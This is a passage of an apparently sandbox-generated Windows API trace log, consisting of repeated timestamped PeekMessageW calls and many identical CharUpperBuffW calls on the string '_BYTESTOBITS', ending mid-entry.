PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.467] PeekMessageW (in: lpMsg=0xb6216f6c0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xb6216f6c0) returned 0 [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.469] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.470] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.471] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.472] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.473] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.474] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.475] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.476] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.477] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.477] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.477] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.477] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.477] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.477] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.478] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.479] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.480] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.481] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.482] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.483] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.484] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.485] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.486] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.487] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.487] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.488] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.489] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.490] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.491] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.492] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.493] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: lpsz="_BYTESTOBITS") returned 0xc [0037.494] CharUpperBuffW (in: lpsz="_BYTESTOBITS", cchLength=0xc | out: 